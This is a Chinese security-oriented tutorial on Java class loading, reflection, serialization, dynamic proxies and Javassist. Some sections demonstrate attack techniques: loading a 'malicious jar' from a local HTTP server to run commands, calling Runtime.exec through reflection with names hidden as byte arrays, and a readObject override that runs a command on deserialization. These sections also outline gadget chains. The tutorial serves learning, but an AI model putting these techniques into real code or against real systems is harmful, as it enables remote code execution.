02.Java反射机制 · d4m1ts 知识库 (gm7.org)
ClassLoader(类加载机制)
Java能成为跨平台开发语言的原因就是JVM(Java虚拟机)的存在,Java程序在允许前要先编译为class文件,然后在Java类初始化(这是类加载的最后阶段,所有的静态变量都将被赋予原始值,并且静态区块将被执行。)时会调用java.lang.ClassLoader
加载类字节码,ClassLoader
会调用JVM的native方法(defineClass0/1/2
)来定义一个java.lang.Class
实例。
Jvm架构图
具体介绍看这个https://cloud.tencent.com/developer/article/1042507
ClassLoader
一切的Java类都必须经过JVM加载后才能运行,而ClassLoader
的主要作用就是Java类文件的加载。在JVM类加载器中最顶层的是Bootstrap ClassLoader(引导类加载器)
、Extension ClassLoader(扩展类加载器)
、App ClassLoader(系统类加载器)
,AppClassLoader
是默认的类加载器,如果类加载时我们不指定类加载器的情况下,默认会使用AppClassLoader
加载类,ClassLoader.getSystemClassLoader()
返回的系统类加载器也是AppClassLoader
。
但是虽然默认使用的App ClassLoader加载类,但是加载顺序却是不同的
但是我们在尝试获取被Bootstrap ClassLoader
类加载器所加载的类的ClassLoader
时候都会返回null
。
ClassLoader
类有如下核心方法:
loadClass
(加载指定的Java类)findClass
(查找指定的Java类)findLoadedClass
(查找JVM已经加载过的类)defineClass
(定义一个Java类)resolveClass
(链接指定的Java类)
Class.forName("类名")
默认会初始化被加载类的静态属性和方法,如果不希望初始化类可以使用Class.forName("类名", 是否初始化类, 类加载器)
,而ClassLoader.loadClass
默认不会初始化类方法。
类加载流程
首先是class文件加载到jvm内存的过程
就以上图使用反射加载test为例
ClassLoader会调用public Class<?> loadClass(String name)去加载test类
调用findLoadedClass方法检查test类是否已经初始化,如果JVM已初始化过该类则直接返回类对象。
如果创建当前ClassLoader时传入了父类加载器(new ClassLoader(父类加载器))就使用父类加载器加载test类,否则使用JVM的Bootstrap ClassLoader加载。
但是这里它并不是自己进行查找,而是先委托给父加载器,然后递归委托,直到Bootstrap ClassLoader加载器;如果Bootstrap classloader找到了,直接加载并且返回class和resource;如果没有找到,则一级一级返回,最后才是自己(这里的自己正常的肯定就是App ClassLoader,要不然就是你的自定义的类加载器)去查找加载。这个机制被称为双亲委派
如果当前的ClassLoader没有重写了findClass方法,那么直接返回类加载失败异常。如果当前类重写了findClass方法并通过传入的test类名找到了对应的类字节码,那么应该调用defineClass方法去JVM中注册该类。(注意这个defineClass方法,后面我们会讲到利用defineClass来加载任意类执行恶意代码的操作)
如果调用loadClass的时候传入的resolve参数为true,那么还需要调用resolveClass方法链接类,默认为false。
返回一个被JVM加载后的java.lang.Class类对象。
到这里,.class文件就已经被加载到jvm内存里面了,装载完成以后会得到一个Class对象,然后我们就可以使用new关键字,来实例化这个对象。
一个类从被加载到虚拟机内存中开始,到卸载出内存的每个阶段,构成了它的生命周期
1、加载
- 通过类的全名限定获取定义此类的二进制字节流。
- 将字节流代表的静态存储结构转化为方法区的运行时数据结构。
- 在内存(方法区)生成一个代表这个类的class对象,作为方法区这个类的各种数据访问入口。
加载和连接是交叉进行的,加载未完成可能连接已经开始了。
2、验证
检查class是否符合要求,非必须阶段,对程序的运行期没有影响,-Xverif:none 关闭(可以提高启动速度)
文件格式验证(魔数、常量类型);
元数据验证(语义分析);
字节码验证(语义合法);
符号引用验证(能否被访问);
3、准备
正式为类变量(static成员变量)分配内存并设置类变量初始值(零值)的阶段,这个变量所使用的内存都将在方法区进行分配,这时候的内存分配仅包括类变量,而不包括实例变量,实例变量将会在对象实例化时随着对象一起在堆中进行分配。
4、解析
虚拟机将常量池内的符号引用替换为直接引用的过程。
5、初始化
初始化阶段是执行类构造器<clinit>()方法的过程,虚拟机会保证一个类的类构造器<clinit>()在多线程环境中被正确的加锁,同步;如果多个线程同时初始化一个类,那么只会有一个线程区执行这个类的类构造器,其他线程阻塞等待,直到<clinit>()方法完毕,同一个类加载器,一个类只会被初始化一次。
类加载是会执行代码
初始化:静态代码块
实例化:构造代码块、无参构造函数
Class.forname 可选是否初始化
ClassLoader.loadClass 不进行初始化
双亲委派
之前我们简单提到了双亲委派的含义
接下来介绍一下双亲委派的优点
使用双亲委派模型来组织类加载器之间的关系,有一个显而易见的好处就是Java类随着它的类加载器一起具备了一种带有优先级的层次关系。
例如类java.lang.Object
,它存放在rt.jar
之中,无论哪一个类加载器要加载这个类,最终都是委派给处于模型最顶端的启动类加载器进行加载,因此Object类在程序的各种类加载器环境中都是同一个类。相反,如果没有使用双亲委派模型,由各个类加载器自行去加载的话,如果用户自己编写了一个称为java.lang.Object
的类,并放在程序的ClassPath中,那系统中将会出现多个不同的Object类,Java类型体系中最基础的行为也就无法保证,应用程序也将会变得一片混乱。
所以它的优点
- 系统类防止内存中出现多份同样的字节码
- 保证Java程序安全稳定运行
自定义ClassLoader
java.lang.ClassLoader
是所有的类加载器的父类,java.lang.ClassLoader
有非常多的子类加载器,比如我们用于加载jar包的java.net.URLClassLoader
其本身通过继承java.lang.ClassLoader
类,重写了findClass
方法从而实现了加载目录class文件甚至是远程资源文件。
既然URLClassLoader可以加载目录class文件或者远程资源文件,那这里我们也可以写一个ClassLoader去加载我们自己写的类
例子
package com.anbai.sec.classloader;
import java.lang.reflect.Method;
/**
* Creator: yz
* Date: 2019/12/17
*/
public class TestClassLoader extends ClassLoader {
// TestHelloWorld类名
private static String testClassName = "com.anbai.sec.classloader.TestHelloWorld";
// TestHelloWorld类字节码
private static byte[] testClassBytes = new byte[]{
-54, -2, -70, -66, 0, 0, 0, 51, 0, 17, 10, 0, 4, 0, 13, 8, 0, 14, 7, 0, 15, 7, 0,
16, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100,
101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101,
1, 0, 5, 104, 101, 108, 108, 111, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108,
97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99,
101, 70, 105, 108, 101, 1, 0, 19, 84, 101, 115, 116, 72, 101, 108, 108, 111, 87, 111,
114, 108, 100, 46, 106, 97, 118, 97, 12, 0, 5, 0, 6, 1, 0, 12, 72, 101, 108, 108, 111,
32, 87, 111, 114, 108, 100, 126, 1, 0, 40, 99, 111, 109, 47, 97, 110, 98, 97, 105, 47,
115, 101, 99, 47, 99, 108, 97, 115, 115, 108, 111, 97, 100, 101, 114, 47, 84, 101, 115,
116, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 1, 0, 16, 106, 97, 118, 97, 47, 108,
97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0, 3, 0, 4, 0, 0, 0, 0, 0, 2, 0, 1,
0, 5, 0, 6, 0, 1, 0, 7, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0,
1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 0, 1, 0, 9, 0, 10, 0, 1, 0, 7, 0, 0, 0, 27, 0, 1,
0, 1, 0, 0, 0, 3, 18, 2, -80, 0, 0, 0, 1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 10, 0, 1, 0, 11,
0, 0, 0, 2, 0, 12
};
@Override
public Class<?> findClass(String name) throws ClassNotFoundException {
// 只处理TestHelloWorld类
if (name.equals(testClassName)) {
// 调用JVM的native方法定义TestHelloWorld类
return defineClass(testClassName, testClassBytes, 0, testClassBytes.length);
}
return super.findClass(name);
}
public static void main(String[] args) {
// 创建自定义的类加载器
TestClassLoader loader = new TestClassLoader();
try {
// 使用自定义的类加载器加载TestHelloWorld类
Class testClass = loader.loadClass(testClassName);
// 反射创建TestHelloWorld类,等价于 TestHelloWorld t = new TestHelloWorld();
Object testInstance = testClass.newInstance();
// 反射获取hello方法
Method method = testInstance.getClass().getMethod("hello");
// 反射调用hello方法,等价于 String str = t.hello();
String str = (String) method.invoke(testInstance);
System.out.println(str);
} catch (Exception e) {
e.printStackTrace();
}
}
}
URLClassLoader
上面我们说URLClassLoader可以加载远程的资源文件,所以我们可以利用这一特性让程序加载远程的恶意jar文件,去执行其中的命令
这里直接python起一个本地服务器放cmd.jar的恶意jar包
public class CMD {
public static Process exec(String[] cmd) throws IOException {
return Runtime.getRuntime().exec(cmd);
}
}
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;
public class TestURLClassLoader {
public static void main(String[] args) throws Exception {
// 从url指定的远程http服务器上加载的jar文件
URL url = new URL("http://127.0.0.1:8001/cmd.jar");
// 创建URLClassLoader加载远程jar包
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
//rce命令弹出计算器
String[] cmd = new String[]{"cmd","/c","dir"};
// 通过URLClassLoader加载远程jar包中的CMD类
Class<?> aClass = urlClassLoader.loadClass("CMD");
Process process = (Process) aClass.getMethod("exec", String[].class).invoke(null, (Object) cmd);
InputStream inputStream = process.getInputStream();
byte[] b = new byte[1024];
ByteArrayOutputStream baos = new ByteArrayOutputStream();
int a = -1;
while ((a = inputStream.read(b)) != -1) {
baos.write(b, 0, a);
}
System.out.println(baos);
}
}
这里补一点java命令执行的知识,使用Runtime.getRuntime().exec(cmd);
执行java命令的时候,如果只传一个参数就只能执行类似calc这样的命令,如果想执行dir之类的命令,需要穿一个字符数组,格式在Windows上为{"cmd","/c","dir"}
,在Linux下为
{"/bin/sh","-c","dir"}
ClassLoader.defineClass 字节码加载任意类
defineClass 是私有的,要通过反射调用
code是字节码
因为ClassLoader.loadClass 不进行初始化,所有要通过newInstance实例化后会执行Test里的静态代码块的内容
Unsafe.defindClass 字节码加载任意类
虽然是public,但是不能直接生成,也要通过反射
Spring里可以直接生成
Java反射机制
反射就是Reflection,Java的反射是指程序在运行期可以拿到一个对象的所有信息。即Java反射机制是在运行状态时,对于任意一个类,都能够获取到这个类的所有属性和方法,对于任意一个对象,都能够调用它的任意一个方法和属性(包括私有的方法和属性),这种动态获取的信息以及动态调用对象的方法的功能就称为java语言的反射机制。
class
是由JVM在执行过程中动态加载的。JVM在第一次读取到一种class
类型时,将其加载进内存。
每加载一种class
,JVM就为其创建一个Class
类型的实例,并关联起来。注意:这里的Class
类型是一个名叫Class
的class
。简单来说,这里的Class是Class类
public final class Class {
private Class() {}
}
这个Class实例是JVM内部创建的,构造方法是private,只有JVM能创建Class
实例
JVM为每个加载的class
创建了对应的Class
实例,并在实例中保存了该class
的所有信息,包括类名、包名、父类、实现的接口、所有方法、字段等,因此,如果获取了某个Class
实例,我们就可以通过这个Class
实例获取到该实例对应的class
的所有信息。
通过Class实例获取到class信息的方法就被成为反射
获取class的Class实例方法
补充一下方法一和方法二
方法一:
调用类的class属性类获取该类对应的Class对象,即:类名.class
方法二:
调用某个类的对象的getClass()方法,即:对象.getClass();
通过反射获取字段
newInstance()调用无参数构造方法
class ReflectTest02{
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException {
// 下面这段代码是以反射机制的方式创建对象。 // 通过反射机制,获取Class,通过Class来实例化对象
Class c = Class.forName("javase.reflectBean.User");
// newInstance() 这个方法会调用User这个类的无参数构造方法,完成对象的创建。
// 重点是:newInstance()调用的是无参构造,必须保证无参构造是存在的!
Object obj = c.newInstance();
System.out.println(obj);
}
}
获取属性
import java.util.Arrays;
public class Java {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, InstantiationException {
Class tc = aa.class;
System.out.println(tc.getName());//获取类名
System.out.println(Arrays.toString(tc.getDeclaredFields()));//获取所有的属性
System.out.println(tc.getField("a"));// 根据字段名获取某个 public 的field(包括父类)
System.out.println(tc.getDeclaredField("b"));// 根据字段名获取某个 public 的field(不包括父类)
System.out.println(tc.getField("a").getName()); // 字段名称
System.out.println(tc.getField("a").getType()); // 字段类型,也是一个Class实例
System.out.println(tc.getField("a").getModifiers()); // 修饰符
tc.getDeclaredField("a").setAccessible(true);
Object o = tc.newInstance();
System.out.println(tc.getDeclaredField("a").get(o));// 获取值
tc.getDeclaredField("a").set(o,"111");
System.out.println(tc.getDeclaredField("a").get(o));// 获取值
}
}
class aa{
public String a = "xxx";
private int b;
public void a(){
System.out.println(1);
}
public void b(String a){
System.out.println(a);
}
}
小结:
- 通过
Class
实例的方法可以获取Field
实例:getField()
,getFields()
,getDeclaredField()
,getDeclaredFields()
;- 通过Field实例可以获取字段信息:
getName()
,getType()
,getModifiers()
;- 通过Field实例可以读取或设置某个对象的字段,如果存在访问限制,要首先调用
setAccessible(true)
来访问非public
字段。- 通过反射读写字段是一种非常规方法,它会破坏对象的封装。
通过反射获取方法*
使用invoke进行调用
小结:
Java的反射API提供的Method对象封装了方法的所有信息:
- 通过
Class
实例的方法可以获取Method
实例:getMethod()
,getMethods()
,getDeclaredMethod()
,getDeclaredMethods()
;- 通过
Method
实例可以获取方法信息:getName()
,getReturnType()
,getParameterTypes()
,getModifiers()
;- 通过
Method
实例可以调用某个对象的方法:Object invoke(Object instance, Object... parameters)
;- 通过设置
setAccessible(true)
来访问非public
方法;- 通过反射调用方法时,仍然遵循多态原则。
调用构造方法
newInstance()只能调用无参的且为public类型的构造方法来进行实例化对象,但是如果构造方法有参数时或者不是public类型时,需要用getConstructor来配合newInstance()使用
我们把aa类里的构造方法写为
public aa(String a) {
System.out.println(a);
}
此时需要创建实例化对象的步骤就应该变为
小结:
Constructor
对象封装了构造方法的所有信息;
- 通过
Class
实例的方法可以获取Constructor
实例:getConstructor()
,getConstructors()
,getDeclaredConstructor()
,getDeclaredConstructors()
;- 通过
Constructor
实例可以创建一个实例对象:newInstance(Object... parameters)
; 通过设置setAccessible(true)
来访问非public
构造方法。
反射java.lang.Runtime
之前在URLClassLoader的部分我们提到java.lang.Runtime有一个exec方法可以执行我们本地的命令,所有这里我们尝试用反射的方式来调用其中的exec方法执行命令
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class TestRuntime {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
// 获取Runtime的类对象
Class<?> r = Class.forName("java.lang.Runtime");
//可以跟进去发现Runtime的构造方法不是public的,需要改访问权限
Constructor<?> declaredConstructor = r.getDeclaredConstructor();
declaredConstructor.setAccessible(true);
Runtime o = (Runtime)declaredConstructor.newInstance();
// 获取调用方法
Method exec = r.getMethod("exec", String[].class);
Process cmd = (Process)exec.invoke(o, (Object) new String[]{"cmd", "/c", "dir"});
//到这里其实已经执行成功了,但是如果执行的是有回显的命令时,还需要把命令回显出来
InputStream inputStream = cmd.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
int a = -1;
byte[] b = new byte[1024];
while ((a = inputStream.read(b)) != -1){
baos.write(b,0,a);
}
System.out.println(baos);
}
}
也可以用ASCII码的形式
String[] str = new String[]{"cmd","/c","dir"};
// 定义"java.lang.Runtime"字符串变量
String rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101});
// 反射java.lang.Runtime类获取Class对象
Class<?> c = Class.forName(rt);
// 反射获取Runtime类的getRuntime方法
Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}));
// 反射获取Runtime类的exec方法
Method m2 = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String[].class);
// 反射调用Runtime.getRuntime().exec(xxx)方法
Process obj2 = (Process)m2.invoke(m1.invoke(null), (Object) str);
//
// 反射获取Process类的getInputStream方法
// 反射获取Process类的getInputStream方法 等价于Method m = obj2.getClass().getMethod("getInputStream");
Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));
m.setAccessible(true);
//
// // 获取命令执行结果的输入流对象:p.getInputStream()并使用Scanner按行切割成字符串
Scanner s = new Scanner((InputStream) m.invoke(obj2, new Object[]{}),"GBK");
while (s.hasNext()){
System.out.println(s.next());
}
还可以使用ProcessBuilder或UNIXProcess/ProcessImpl执行命令
总结
总结一下常用方法
//获取包名、类名
clazz.getPackage().getName()//包名
clazz.getSimpleName()//类名
clazz.getName()//完整类名
//获取成员变量定义信息
getFields()//获取所有公开的成员变量,包括继承变量
getDeclaredFields()//获取本类定义的成员变量,包括私有,但不包括继承的变量
getField(变量名)
getDeclaredField(变量名)
//获取构造方法定义信息
getConstructor(参数类型列表)//获取公开的构造方法
getConstructors()//获取所有的公开的构造方法
getDeclaredConstructors()//获取所有的构造方法,包括私有
getDeclaredConstructor(int.class,String.class)
//获取方法定义信息
getMethods()//获取所有可见的方法,包括继承的方法
getMethod(方法名,参数类型列表)
getDeclaredMethods()//获取本类定义的的方法,包括私有,不包括继承的方法
getDeclaredMethod(方法名,int.class,String.class)
//反射新建实例
clazz.newInstance();//执行无参构造创建对象
clazz.newInstance(222,"韦小宝");//执行有参构造创建对象
clazz.getConstructor(int.class,String.class)//获取构造方法
//反射调用成员变量
clazz.getDeclaredField(变量名);//获取变量
clazz.setAccessible(true);//使私有成员允许访问
f.set(实例,值);//为指定实例的变量赋值,静态变量,第一参数给null
f.get(实例);//访问指定实例变量的值,静态变量,第一参数给null
//反射调用成员方法
Method m = Clazz.getDeclaredMethod(方法名,参数类型列表);
m.setAccessible(true);//使私有方法允许被调用
m.invoke(实例,参数数据);//让指定实例来执行该方法
Java反序列化
java的序列化机制就是为了持久化存储某个对象或者在网络上传输某个对象。我们都知道,一旦jvm关闭,那么java中的对象也就销毁了,所以要想保存它,就需要把他转换为字节序列写到某个文件或是其它哪里。
- Java 提供了一种对象序列化的机制,该机制中,一个对象可以被表示为一个字节序列,该字节序列包括该对象的数据、有关对象的类型的信息和存储在对象中数据的类型。即序列化是指把一个Java对象变成二进制内容,本质上就是一个
byte[]
数组。 - 为什么要把Java对象序列化呢?因为序列化后可以把
byte[]
保存到文件中,或者把byte[]
通过网络传输到远程,这样,就相当于把Java对象存储到文件或者通过网络传输出去了。 - 将序列化对象写入文件之后,可以从文件中读取出来,并且对它进行反序列化,即把一个二进制内容(也就是
byte[]
数组)变回Java对象。有了反序列化,保存到文件中的byte[]
数组又可以“变回”Java对象,或者从网络上读取byte[]
并把它“变回”Java对象。也就是说,对象的类型信息、对象的数据,还有对象中的数据类型可以用来在内存中新建对象。 - 整个过程都是 Java 虚拟机(JVM)独立的,也就是说,在一个平台上序列化的对象可以在另一个完全不同的平台上反序列化该对象。
- Java的序列化机制仅适用于Java,如果需要与其它语言交换数据,必须使用通用的序列化方法,例如JSON。
java对象实现序列化的前提是必须实现一个特殊的java.io.Serializable
接口
这个接口没有定义任何方法,只是一个空接口,也被叫做"标记接口",实现了标记接口的类仅仅是给自身贴了个“标记”,并没有增加任何方法。
就像php中有serialize和unserialize函数负责序列化和反序列化一样,Java也有writeObject和readObject负责序列化和反序列化,他们分别属于ObjectInputStream
和 ObjectOutputStream
这两个高层次的数据流
静态成员变量不能被序列化,序列化是针对对象属性的,而静态变量属于类
transient标识的对象成员变量不参与序列化
具体实现
序列化步骤:
把对象转换为字节序列
- 步骤一:创建一个ObjectOutputStream输出流
- 步骤二:调用ObjectOutputStream对象的writeObject输出可序列化对象。
反序列化步骤
把字节序列转换为对象
- 步骤一:创建一个ObjectInputStream输入流;
- 步骤二:调用ObjectInputStream对象的readObject()得到序列化的对象。
代码实现
package serializTest;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
public class Run {
public static void main(String[] args) throws IOException, ClassNotFoundException {
SerializeDemo serializeDemo = new SerializeDemo();
serializeDemo.x = 123;
Path path = Paths.get("1.ser");
//序列化
// 创建一个FileOutputStream,且将这个FileOutputStream封装到ObjectOutputStream中
ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(path));
// 调用writeObject方法,序列化对象到文件1.ser中
objectOutputStream.writeObject(serializeDemo);
objectOutputStream.close();
//反序列化
// 创建一个FIleInutputStream,并将FileInputStream封装到ObjectInputStream中
ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(path));
// 调用readObject从1.ser中反序列化出对象,还需要进行一下类型转换,默认是Object类型
SerializeDemo serializeDemo1 = (SerializeDemo) objectInputStream.readObject();
System.out.println(serializeDemo1.add(1,2));
}
}
class SerializeDemo implements Serializable { // 必须要实现Serializable这个接口,可以不用里面的方法
public int x;
public int add(int a,int b){
return a+b+x;
}
}
输出可以看出x的值是序列化之前的123,也就是通过序列化存储的信息可以重新通过反序列化得到恢复
序列化后的内容是无法正常查看的
但是我们可以在十六进制的内容中得到一点信息,比如前八位中
AC ED:STREAM_MAGIC
,声明使用了序列化协议,从这里可以判断保存的内容是否为序列化数据。 (这是在黑盒挖掘反序列化漏洞很重要的一个点)
00 05:STREAM_VERSION
,序列化协议版本。
也可以存到 bytes数组中
package serializTest;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Arrays;
public class Run {
public static void main(String[] args) throws IOException, ClassNotFoundException {
SerializeDemo serializeDemo = new SerializeDemo();
serializeDemo.x = 666;
// 序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); // 本体
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); // 只是一个装饰器的作用 Filter模式
objectOutputStream.writeObject(serializeDemo);
objectOutputStream.close();
System.out.println(Arrays.toString(byteArrayOutputStream.toByteArray()));
// 反序列化
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
SerializeDemo serializeDemo1 = (SerializeDemo)objectInputStream.readObject();
objectInputStream.close();
System.out.println(serializeDemo1.add(1, 2));
}
}
class SerializeDemo implements Serializable { // 必须要实现Serializable这个接口,可以不用里面的方法
public int x;
public int add(int a,int b){
return a+b+x;
}
}
反序列化的安全问题
我们看到反序列化可以恢复序列化时对属性的赋值,那如果我们构造一个恶意的序列化文件替换掉系统自动生成的序列化文件,或者直接在反序列化的位置上传一个构造好的恶意byte数组,就会让系统中出现我们构造的内容,从而造成一些安全漏洞
实际上,Java本身提供的基于对象的序列化和反序列化机制既存在安全性问题,也存在兼容性问题。更好的序列化方法是通过JSON这样的通用数据结构来实现,只输出基本类型(包括String)的内容,而不存储任何与代码相关的信息。
同时,为了能够更加灵活的传输内容,Java允许用户进行重写 writeObject和readObject方法。也就是说,如果服务端反序列化数据,客户端传递的类中的readObject方法中的代码就会执行,让攻击者可以在服务器上运行自己的代码
在调用readObject方法时会执行到ObjectStreamClass类里的invokeReadObject方法,里面通过反射调用了客户端传递的类中的readObject方法
其中obj就是我们传入的类,而readObjectMethod属性通过反射成为了传递的类的readObject方法
in就是我们序列化后的内容
所以假设我们传递的类是AnnotationInvocationHandler类,那么readObjectMethod.invoke(obj, new Object[]{ in });实质上等价于
sun.reflect.annotation.AnnotationInvocationHandler.readObject.invoke(AnnotationInvocationHandler,new ObjectInputStream(Files.newInputStream(Paths.get("ser.bin"))))
可能的形式
1.入口类的readObject直接调用危险方法
我在SerializeDemo类中加入一个readObject类,其余部分不变,再次执行程序
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
2.入口类参数中包含可控类,该类有危险方法,readObject时调用
3.入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用
4.构造函数/静态代码块等类加载时隐性执行
流程
共同条件 继承Serializable
入口类 source (需要重写readObject方法,参数类型宽泛,最好jdk自带)(Map)
调用链 gadget chain
执行类 sink
代理
关于代理首先需要了解代理模式,根据代理类的创建时间又可以分为静态代理和动态代理。
代理模式
定义:为其他对象提供一种代理以控制对这个对象的访问
代理模式的通用类图
上图中,Subject是一个抽象类或者接口,RealSubject是实现方法类,具体的业务执行,Proxy则是RealSubject的代理,直接和client接触的。
代理模式可以在不修改被代理对象的基础上,通过扩展代理类,进行一些功能的附加与增强。值得注意的是,代理类和被代理类应该共同实现一个接口,或者是共同继承某个类。
优点
职责清晰
在不更改原类的基础上扩展功能
静态代理
代理模式是在不修改目标对象(被代理对象)的基础上,通过代理对象(扩展代理类),进行一些功能的附加与增强——>静态代理是在不改变源代码的基础上增加新的功能。
特点
(1)静态代理要求目标对象和代理对象实现同一个业务接口。代理对象中的核心功能是由目标对象来完成,代理对象负责增强功能。
(2)目标对象(被代理对象)必须实现接口。
(3)代理对象在程序运行前就已经存在——>扩展代理类Agent。
(4)支持目标对象灵活的切换,无法对功能灵活的处理——>动态代理可解决此问题。
例子
// Iuser接口
public interface Iuser {
void show();
}
// 代理类
public class UserProxy implements Iuser{
Iuser user;
public UserProxy(User user) {
this.user = user;
}
@Override
public void show() {
user.show();
System.out.println("proxy");
}
}
// 实现类
public class User implements Iuser{
@Override
public void show() {
System.out.println("user");
}
}
// 测试类
public class ProxyTest {
public static void main(String[] args) {
User user = new User();
// user.show();
//假如静态代理,就需要下面这种写法
UserProxy userProxy = new UserProxy(user);
userProxy.show();
}
}
从上边的例子应该也不难看出,静态代理存在一些缺陷
- 代理复杂,难于管理
代理类和目标类实现了相同的接口,每个代理都需要实现目标类的方法,这样就出现了大量的代码重复。如果接口增加一个方法,除了所有目标类需要实现这个方法外,所有代理类也需要实现此方法。——>增加了代码维护的复杂度。
- 代理类依赖目标类+代理类过多
代理类只服务于一种类型的目标类,如果要服务多个类型。势必要为每一种目标类都进行代理,静态代理在程序规模稍大时就无法胜任了,代理类数量过多。
静态代理只适合业务功能固定不变的情况。(业务接口方法不进行增加和减少,实现类就不需要改动)
动态代理
相比于静态代理来说,动态代理更加灵活。不需要针对每个目标类都单独创建一个代理类,并且也不需要实现接口直接代理实现类。动态代理类的字节码在程序运行时,运用反射机制动态创建而成。
动态代理在日志、监控、事务中,主流框架中都有着广泛的应用。动态代理一般有两种实现方式:
- JDK动态代理:利用接口实现代理
- CGLIB动态代理:利用继承的方式实现代理
JDK动态代理
JDK的动态代理是通过实现接口的方式
主要涉及java.lang.reflect包下的Proxy类和InvocationHandler接口,通过这个类和这个接口可以生成JDK动态代理类和动态代理对象。
创建过程
首先通过Proxy.newProxyInstance创建代理类对象
这里要传入三个参数,分别是一个类加载器、我们要代理的接口以及一个InvocationHandler对象 ,其中InvocationHandler对象负责的是我们要做的事
这里主要说一下第三个参数
InvocationHandler 是一个接口,每个代理的实例都有一个与之关联的 InvocationHandler 实现类,如果代理的方法被调用,那么代理便会通知和转发给内部的 InvocationHandler 实现类,由它决定处理。
要有一个InvocationHandler的对象,肯定是先需要去实现这个接口
这个接口自身只有一个invoke方法
其中的三个参数
这里proxy和method都是系统负责获取的,最后一个参数对象数组就是我们真正要代理的对象,这里可以先定义这个对象然后通过构造函数给它赋值
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
public class UserInvocationHandler implements InvocationHandler {
Iuser user;
public UserInvocationHandler(Iuser iuser){
this.user = iuser;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
// 无论外部传入什么,都会捕获到,然后作为method传入
method.invoke(user,args);
return null;
}
}
此时在测试类里,我们需要创建一个UserInvocationHandler的对象,需要的参数就是我们实际上操作的user对象。
创建完成后,Proxy.newProxyInstance所需要的三个参数我们便准备完成了,之后再进行传参然后再将返回值强制类型转换就可以了。
这时候就可以通过转换类型后的返回值来操控user类中的方法了。
我们对o传入的方法都会被UserInvocationHandler捕获,然后作为method参数,以反射的方式去调用。
动态代理不需要单独创建代理类,但是需要创建一个实现InvocationHandler接口的调用处理程序类
总结
- 静态代理,代理类需要自己编写代码写成。
- 动态代理,代理类通过 Proxy.newInstance() 方法生成。
- JDK实现的代理中不管是静态代理还是动态代理,代理与被代理者都要实现两样接口,它们的实质是面向接口编程。CGLib可以不需要接口。
- 动态代理通过 Proxy 动态生成 proxy class,但是它也指定了一个 InvocationHandler 的实现类。
Javassist
Javassist是一个开源的分析、编辑和创建Java字节码的类库。是由东京工业大学的数学和计算机科学系的 Shigeru Chiba (千叶 滋所创建的。它已加入了开放源代码JBoss 应用服务器项目
通过javasssit,我们可以:
- 动态创建新类或新接口的二进制字节码
- 动态扩展现有类或接口的二进制字节码(AOP)
Javassist中最为重要的是ClassPool,CtClass ,CtMethod 以及 CtField这几个类。
ClassPool:一个基于HashMap实现的CtClass对象容器,其中键是类名称,值是表示该类的CtClass对象。默认的ClassPool使用与底层JVM相同的类路径,因此在某些情况下,可能需要向ClassPool添加类路径或类字节。
CtClass:表示一个类,这些CtClass对象可以从ClassPool获得。
CtMethods:表示类中的方法。
CtFields :表示类中的字段。